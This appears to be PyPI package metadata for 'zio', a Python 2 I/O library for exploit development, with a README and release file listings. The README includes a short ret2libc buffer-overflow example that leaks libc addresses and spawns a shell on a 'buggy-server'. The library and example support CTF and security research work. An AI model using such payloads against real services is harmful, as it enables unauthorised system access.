{ "info": { "author": "Wenlei Zhu", "author_email": "i@ztrix.me", "bugtrack_url": null, "classifiers": [ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "Operating System :: MacOS :: MacOS X", "Operating System :: POSIX", "Programming Language :: Python", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Topic :: Software Development", "Topic :: System", "Topic :: Terminals", "Topic :: Utilities" ], "description": "zio\n====\n\n`zio `_ is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.\n\nThe primary goal of `zio `_ is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.\n\nThe following code illustrate the basic idea.\n\n.. code:: python\n\n from zio import *\n\n if you_are_debugging_local_server_binary:\n io = zio('./buggy-server') # used for local pwning development\n elif you_are_pwning_remote_server:\n io = zio(('1.2.3.4', 1337)) # used to exploit remote service\n\n io.write(your_awesome_ropchain_or_shellcode)\n # hey, we got an interactive shell!\n io.interact()\n\nLicense\n=======\n\n`zio `_ use `SATA License (Star And Thank Author License) `_, so you have to star this project before using. Read the LICENSE.txt carefully.\n\nDependency\n==========\n\n - Linux or OSX\n - Python 2.6, 2.7\n - termcolor (optional, for color support)\n - $ pip install termcolor\n\nInstallation\n============\n\nThis is a single-file project so in most cases you can just download `zio.py `_ and start using.\n\npip is also supported, so you can also install by running \n\n.. code:: bash\n\n $ pip2 install termcolor # for color support, optional\n $ pip2 install zio\n\nExamples\n========\n \n.. code:: python\n\n from zio import *\n io = zio('./buggy-server')\n # io = zio((pwn.server, 1337))\n\n for i in xrange(1337):\n io.writeline('add ' + str(i))\n io.read_until('>>')\n\n io.write(\"add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\\ninfo \" + \"A\" * 49 + \"\\nshow\\n\")\n io.read_until('A' * 49)\n libc_base = l32(io.read(4)) - 0x1a9960\n libc_system = libc_base + 0x3ea70\n libc_binsh = libc_base + 0x15fcbf\n payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)\n io.write('info ' + payload + \"\\nshow\\nexit\\n\")\n io.read_until(\">>\")\n # We've got a shell;-)\n io.interact()\n\nDocument\n========\n\nTo be added... Please wait...\n\nabout line break and carriage return\n\nJust don't read '\\n' or '\\r', use `readline()` instead\n\nThanks (Also references)\n========================\n\n - `pexpect `_ I borrowed a lot of code from here\n - `sh `_\n - python subprocess module\n - TTY related\n - http://linux.die.net/man/3/cfmakeraw\n - http://marcocorvi.altervista.org/games/lkpe/tty/tty.htm\n - http://www.linusakesson.net/programming/tty/", "description_content_type": null, "docs_url": null, "download_url": "UNKNOWN", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/zTrix/zio", "keywords": "zio pwning io expect-like", "license": "LICENSE.txt", "maintainer": null, "maintainer_email": null, "name": "zio", "package_url": "https://pypi.org/project/zio/", "platform": "UNKNOWN", "project_url": "https://pypi.org/project/zio/", "project_urls": { "Download": "UNKNOWN", "Homepage": "https://github.com/zTrix/zio" }, "release_url": "https://pypi.org/project/zio/1.0.3/", "requires_dist": null, "requires_python": null, "summary": "Unified io lib for pwning development written in python.", "version": "1.0.3" }, "last_serial": 1328432, "releases": { "1.0.1": [ { "comment_text": "", "digests": { "md5": "e632aedcf57aa31c3a6c1b0528732571", "sha256": "6046a4cd338f6a04027924957f57a90b89f6e05e8f0f1f601218e2468c16afb0" }, "downloads": -1, "filename": "zio-1.0.1.macosx-10.9-intel.exe", "has_sig": false, "md5_digest": "e632aedcf57aa31c3a6c1b0528732571", "packagetype": "bdist_wininst", "python_version": "any", "requires_python": null, "size": 86265, "upload_time": "2014-09-10T15:02:32", "url": "https://files.pythonhosted.org/packages/77/d1/18e2c9ef42e3adc1e86e5d0596ac2983c26d5e63355b5dd10647c5de252e/zio-1.0.1.macosx-10.9-intel.exe" }, { "comment_text": "", "digests": { "md5": "96a4b76c168ab4836c398fd319e23516", "sha256": "747bad63a841f174da1637026fb765445f51fa6fd2c85fff3464c07c61178b1f" }, "downloads": -1, "filename": "zio-1.0.1.tar.gz", "has_sig": false, "md5_digest": "96a4b76c168ab4836c398fd319e23516", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 47148, "upload_time": "2014-09-10T15:02:29", "url": "https://files.pythonhosted.org/packages/ce/23/be309e0c7c6cdb260ecae0b77ecb6967bddec220ae46d57f49856eecdba8/zio-1.0.1.tar.gz" } ], "1.0.2": [ { "comment_text": "", "digests": { "md5": "9f7e22e25671c74d6cafffb1bea52fd1", "sha256": "31573100dd4fa42ce78eb2e8448c9f6987f0d8be3917ffafc2912ac852b98260" }, "downloads": -1, "filename": "zio-1.0.2.tar.gz", "has_sig": false, "md5_digest": "9f7e22e25671c74d6cafffb1bea52fd1", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 48561, "upload_time": "2014-10-01T09:58:12", "url": "https://files.pythonhosted.org/packages/21/2a/c988d497ac051e8337349b1fb08338872af4dfc3e803eec00c545b711fd0/zio-1.0.2.tar.gz" } ], "1.0.3": [ { "comment_text": "", "digests": { "md5": "2a6600c57adaca61bcd50adf447ce510", "sha256": "26e7ec5d3acbcf8e65c639761a3fbb45b504e8cc02851ec4918c6b9336742a63" }, "downloads": -1, "filename": "zio-1.0.3.tar.gz", "has_sig": false, "md5_digest": "2a6600c57adaca61bcd50adf447ce510", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 50149, "upload_time": "2014-12-02T16:20:02", "url": "https://files.pythonhosted.org/packages/1c/b1/e5bcac3354c0fd0245c94b059e49d13161fcc384bef0a2ba9aa4b2941ab8/zio-1.0.3.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "2a6600c57adaca61bcd50adf447ce510", "sha256": "26e7ec5d3acbcf8e65c639761a3fbb45b504e8cc02851ec4918c6b9336742a63" }, "downloads": -1, "filename": "zio-1.0.3.tar.gz", "has_sig": false, "md5_digest": "2a6600c57adaca61bcd50adf447ce510", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 50149, "upload_time": "2014-12-02T16:20:02", "url": "https://files.pythonhosted.org/packages/1c/b1/e5bcac3354c0fd0245c94b059e49d13161fcc384bef0a2ba9aa4b2941ab8/zio-1.0.3.tar.gz" } ] }